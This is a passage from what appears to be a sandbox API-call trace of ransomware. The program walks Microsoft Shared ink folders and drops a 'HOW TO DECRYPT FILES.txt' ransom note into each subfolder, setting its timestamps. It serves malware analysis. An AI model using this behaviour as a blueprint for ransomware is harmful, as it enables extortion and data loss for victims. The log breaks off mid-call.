Shared\\ink\\bg-BG\\tipresx.dll.mui" [0058.046] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.046] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.046] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0058.046] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.046] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Content.xml") returned 1 [0058.046] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Content.xml") returned 1 [0058.046] lstrcmpiA (lpString1="", lpString2="Content.xml") returned -1 [0058.046] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.046] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.046] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.046] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.046] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.046] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="Content.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" [0058.047] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0058.047] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ConvertInkStore.exe") returned 1 [0058.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ConvertInkStore.exe") returned 1 [0058.047] lstrcmpiA (lpString1="", lpString2="ConvertInkStore.exe") returned -1 [0058.047] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned="Content.xml" [0058.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.047] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.047] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.047] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.047] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="ConvertInkStore.exe" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" [0058.047] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0058.047] lstrcmpA (lpString1=".", lpString2="cs-CZ") returned -1 [0058.047] lstrcmpA (lpString1="..", lpString2="cs-CZ") returned -1 [0058.047] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned="ConvertInkStore.exe" [0058.047] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="cs-CZ" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" [0058.047] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.048] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.048] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.048] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.048] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.048] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.048] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.048] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.048] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.048] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.048] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*") returned="*.*" [0058.048] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\" [0058.048] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\") returned="" [0058.048] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW TO DECRYPT FILES.txt" [0058.049] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\how to decrypt files.txt")) returned 0xffffffff [0058.049] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.051] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.051] CloseHandle (hObject=0x90) returned 1 [0058.051] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" [0058.051] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.051] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.052] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="da-DK", cAlternateFileName="")) returned 1 [0058.052] lstrcmpA (lpString1=".", lpString2="da-DK") returned -1 [0058.052] lstrcmpA (lpString1="..", lpString2="da-DK") returned -1 [0058.052] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.052] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="da-DK" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" [0058.052] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.052] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.052] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.052] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.052] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.052] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.053] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.053] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.053] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*") returned="*.*" [0058.053] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\" [0058.053] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\") returned="" [0058.053] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW TO DECRYPT FILES.txt" [0058.053] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\how to decrypt files.txt")) returned 0xffffffff [0058.053] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.055] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.055] CloseHandle (hObject=0x90) returned 1 [0058.056] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" [0058.056] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.056] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.056] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="de-DE", cAlternateFileName="")) returned 1 [0058.056] lstrcmpA (lpString1=".", lpString2="de-DE") returned -1 [0058.056] lstrcmpA (lpString1="..", lpString2="de-DE") returned -1 [0058.056] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.056] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="de-DE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" [0058.056] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.058] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.058] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.058] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.058] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.058] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.058] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.058] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.058] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.058] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.058] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*") returned="*.*" [0058.058] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\" [0058.058] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\") returned="" [0058.058] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW TO DECRYPT FILES.txt" [0058.058] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\how to decrypt files.txt")) returned 0xffffffff [0058.058] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.060] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.060] CloseHandle (hObject=0x90) returned 1 [0058.060] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" [0058.061] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.061] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.061] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="el-GR", cAlternateFileName="")) returned 1 [0058.061] lstrcmpA (lpString1=".", lpString2="el-GR") returned -1 [0058.061] lstrcmpA (lpString1="..", lpString2="el-GR") returned -1 [0058.061] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.061] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="el-GR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" [0058.061] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.061] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.061] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.061] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.062] lstrcmpA 